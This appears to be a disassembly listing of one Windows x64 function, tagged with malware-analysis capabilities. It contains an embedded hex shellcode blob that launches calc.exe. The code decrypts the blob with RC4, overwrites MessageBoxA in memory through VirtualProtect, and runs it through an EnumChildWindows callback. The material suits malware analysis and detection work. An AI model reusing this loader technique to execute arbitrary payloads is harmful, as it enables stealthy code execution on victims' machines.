Function at 0x140001250
Capabilities:
Allocate or change rwx memory
Encode data using xor
Encrypt data using rc4 ksa
Execute shellcode via windows callback function

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2c0]
sub rsp, 0x3c0
mov rax, qword [0x140007008]
xor rax, rsp
mov qword [rbp + 0x2b0], rax
xor r15d, r15d
mov r14d, r15d
mov dword [rbp + 0x30], r15d
movsd xmm0, qword [0x140004488]
movsd qword [rbp + 0x78], xmm0
mov eax, dword [0x140004490]
mov dword [rbp + 0x80], eax
mov qword [rbp + 0x38], r15
mov qword [rbp + 0x48], r15
mov qword [rbp + 0x50], 0xf
mov byte [rbp + 0x38], r14b
mov r8d, 0x228
lea rdx, str.938d6aaff3fdf0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c632e65786500
lea rcx, [rbp + 0x38]
call fcn.140001f80
nop
xor edx, edx
mov r8d, 0x115
lea rcx, [rbp + 0x190]
call sub.VCRUNTIME140.dll_memset
lea rax, [rbp + 0x78]
mov rdi, 0xffffffffffffffff
inc rdi
cmp byte [rax + rdi], 0
jne 0x1400012f5
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rbx, r15
mov esi, 2
mov rax, qword [rbp + 0x48]
test rax, rax
je 0x140001511
lea r13, [0x1400047c0]
lea r12, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
nop dword [rax]
mov qword [rbp + 0x58], r15
mov qword [rbp + 0x68], r15
mov qword [rbp + 0x70], 0xf
mov byte [rbp + 0x58], 0
cmp rax, rbx
jb 0x1400017fd
sub rax, rbx
mov r8, rsi
cmp rax, rsi
cmovb r8, rax
lea rdx, [rbp + 0x38]
cmp qword [rbp + 0x50], 0x10
cmovae rdx, qword [rbp + 0x38]
add rdx, rbx
lea rcx, [rbp + 0x58]
call fcn.140001f80
or r14d, 1
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x90]
call sub.VCRUNTIME140.dll_memset
mov qword [rbp + 0x90], r13
lea rax, [0x140004720]
mov qword [rbp + 0xa0], rax
lea rcx, [rbp + 0x128]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
or r14d, 2
mov dword [rbp + 0x30], r14d
xor r8d, r8d
lea rdx, [rbp + 0xa8]
lea rcx, [rbp + 0x90]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp + 0x90]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x90], r12
mov rax, qword [rbp + 0x90]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x8c], edx
lea rcx, [rbp + 0xa8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + 0xa8], rax
mov qword [rbp + 0x110], r15
mov dword [rbp + 0x118], r15d
lea rdx, [0x140001230]
lea rcx, [rbp + 0xa0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
lea rdx, [rbp + 0x58]
cmp qword [rbp + 0x70], 0x10
cmovae rdx, qword [rbp + 0x58]
mov r8, qword [rbp + 0x68]
mov rcx, rax
call fcn.140002170
lea rdx, [rbp + 0x34]
lea rcx, [rbp + 0x90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov rcx, rbx
shr rcx, 1
movzx eax, byte [rbp + 0x34]
mov byte [rbp + rcx + 0x190], al
mov rax, qword [rbp + 0x90]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x90], r12
mov rax, qword [rbp + 0x90]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x8c], edx
lea rcx, [rbp + 0xa8]
call fcn.140001d80
lea rcx, [rbp + 0xb0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x128]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x70]
cmp rdx, 0x10
jb 0x140001500
inc rdx
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400014fb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001626
call fcn.1400023ec
add rbx, 2
mov rax, qword [rbp + 0x48]
cmp rbx, rax
jb 0x140001330
lea rax, [rbp + 0x190]
mov r9, 0xffffffffffffffff
nop
inc r9
cmp byte [rax + r9], 0
jne 0x140001520
mov r10, r15
mov rcx, r15
mov byte [rbp + rcx + 0x90], cl
xor edx, edx
mov rax, rcx
div rdi
movzx eax, byte [rbp + rdx + 0x78]
mov byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0x100
jb 0x140001530
mov r8, r15
nop word [rax + rax]
movzx edx, byte [rbp + r8 + 0x90]
movzx ecx, byte [rsp + r8 + 0x30]
add rcx, r10
add rcx, rdx
movzx r10d, cl
movzx eax, byte [rbp + r10 + 0x90]
mov byte [rbp + r8 + 0x90], al
mov byte [rbp + r10 + 0x90], dl
inc r8
cmp r8, 0x100
jb 0x140001560
mov r8, r15
mov r10, r15
mov rdx, r15
test r9, r9
je 0x140001608
nop dword [rax]
lea rax, [r10 + 1]
movzx r10d, al
movzx ecx, byte [rbp + r10 + 0x90]
lea rax, [r8 + rcx]
movzx r8d, al
movzx eax, byte [rbp + r8 + 0x90]
mov byte [rbp + r10 + 0x90], al
mov byte [rbp + r8 + 0x90], cl
movzx eax, byte [rbp + r10 + 0x90]
add rax, rcx
movzx ecx, al
movzx eax, byte [rbp + rcx + 0x90]
xor byte [rbp + rdx + 0x190], al
inc rdx
cmp rdx, r9
jb 0x1400015b0
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
jne 0x14000162d
lea rcx, [0x1400046e0]
jmp 0x140001784
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov dword [rbp + 0x30], r15d
lea r9, [rbp + 0x30]
mov edx, 0x115
mov r8d, 4
mov rcx, qword [sym.imp.USER32.dll_MessageBoxA]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140001771
mov rdx, qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, str.Address_:_0x_p__n
call fcn.140001010
mov r9, qword [sym.imp.USER32.dll_MessageBoxA]
lea rax, [rbp + 0x190]
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [r9], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [r9 + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [r9 + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [r9 + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [r9 + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [r9 + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [r9 + 0x60], xmm0
lea r9, [r9 + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [r9 - 0x10], xmm1
lea rax, [rax + 0x80]
sub rsi, 1
jne 0x140001680
movups xmm0, xmmword [rax]
movups xmmword [r9], xmm0
mov r8d, dword [rax + 0x10]
mov dword [r9 + 0x10], r8d
movzx r8d, byte [rax + 0x14]
mov byte [r9 + 0x14], r8b
mov rdx, qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, str.Address_:_0x_p__n
call fcn.140001010
lea r9, [rbp + 0x30]
mov edx, 0x115
lea r8d, [rsi + 0x40]
mov rcx, qword [sym.imp.USER32.dll_MessageBoxA]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140001771
xor r8d, r8d
mov rdx, qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumChildWindows]
nop
mov rdx, qword [rbp + 0x50]
cmp rdx, 0x10
jb 0x14000176d
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001768
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400017bc
call fcn.1400023ec
xor eax, eax
jmp 0x1400017cd
lea rcx, [0x140004460]
call fcn.140001010
lea rcx, [0x1400046f0]
call fcn.140001010
nop
mov rdx, qword [rbp + 0x50]
cmp rdx, 0x10
jb 0x1400017c8
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400017c3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400017c3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400023ec
mov eax, 0xffffffff
mov rcx, qword [rbp + 0x2b0]
xor rcx, rsp
call fcn.140002390
lea r11, [rsp + 0x3c0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400020e0
nop
int3